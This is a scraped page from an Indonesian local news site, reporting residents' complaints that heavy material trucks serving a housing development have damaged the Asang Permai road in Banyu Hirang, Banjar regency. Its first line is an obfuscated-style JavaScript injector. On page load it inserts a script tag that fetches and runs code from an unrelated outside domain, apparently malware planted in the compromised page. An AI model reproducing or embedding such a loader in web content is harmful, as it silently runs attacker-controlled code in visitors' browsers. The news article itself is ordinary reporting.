(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Jalan Asang Permai Rusak, Ini Penyebabnya Menurut Warga Banyu Hirang


KANALKALIMANTAN.COM, MARTAPURA – Tak bertahan lama, Jalan Asang Permai menuju permukiman warga, RT 01, Desa Banyu Hirang, Kecamatan Gambut, Kabupaten Banjar, kembali rusak. Warga menduga aktivitas angkutan truk material dengan tonase tinggi menjadi penyebabnya.

Jalan Asang Permai sendiri, merupakan jalan tembus menuju ke jalan A Yani Kilometer 8 dan Handil Kalua.

Pantauan Kanalkalimantan.com, jalan tersebut berlubang cukup parah, lubang-lubang jalan tersebut digenangi air, sehingga membuat jalan licin dan berlumpur.

Mama Saufi, salah satu warga Asang Permai, mengakui, jalan tersebut sudah cukup lama rusak.
“Iya, sudah lama jalan di sini rusak semenjak dibangunnya perumahan di sini, banyak truk yang masuk, sehingga membuat jalan di sini rusak dan berlubang. Banyak juga warga yang terjatuh akibat lubang tersebut,” ucap penjaga warung ini saat ditemui Kanalkalimantan.com.

Sementara, Arifin warga RT 01 juga mengungkapkan hal yang sama, akses keluar masuk ke permukiman rusak sekitar sudah 3 tahun.

“Sudah 3 tahun jalan di sini rusak, semenjak adanya pembangunan perumahan. Dulu tahun 2015 waktu pengaspalan pertama kali, kami warga di sini hanya bisa menikmati jalan tersebut mulus cuman sekitar 2 tahun,” bebernya.

Masih dari pengakuan Arifin, pengajuan perbaikan sudah diminta ke pihak desa. Warga ini menduga kerusakan jalan dipicu ketika musim penguhujan truk material banyak yang masuk mengangkut batu dan lainnya untuk salah satu komplek perumahan yang sedang dibangun.

“Pihak dari perumahan itu sendiri cuman membantu memberi batu sekitar 6 rit, namun sekarang hanya 2 rit aja. Batu tersebut ditutup ke area jalan yang berlubang tambal sulam,” lanjutnya.

Dia juga mengakui, banyaknya warga khususnya perempuan yang terjatuh akibat menghindari jalan yang berlubang dan licin tersebut.

“Permintaan perbaikan sudah diajukan ke Pembakal, namun tidak ada respon,” ucapnya. (kanalkalimantan.com/wahyu)

 

Reporter : Wahyu
Editor : Bie

 

 

 


Al Ghifari

Recent Posts

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

15 jam ago

Janji Wali Kota Yamin Tertibkan Bangunan di Atas Sungai

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More

17 jam ago

MAFINDO Kalsel Bekali Guru di Banjarmasin Memahami Teknologi Kecerdasan Buatan

KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More

17 jam ago

Pengelolaan UNESCO Global Geopark Meratus Diperkuat

Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More

22 jam ago

Mereka Menanti Skatepark di Kota Seribu Sungai

KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More

23 jam ago

Cek Kondisi Kolam Renang Idaman Terkini, Ini Respon Komisi III DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun melakukan pengecekan… Read More

1 hari ago

This website uses cookies.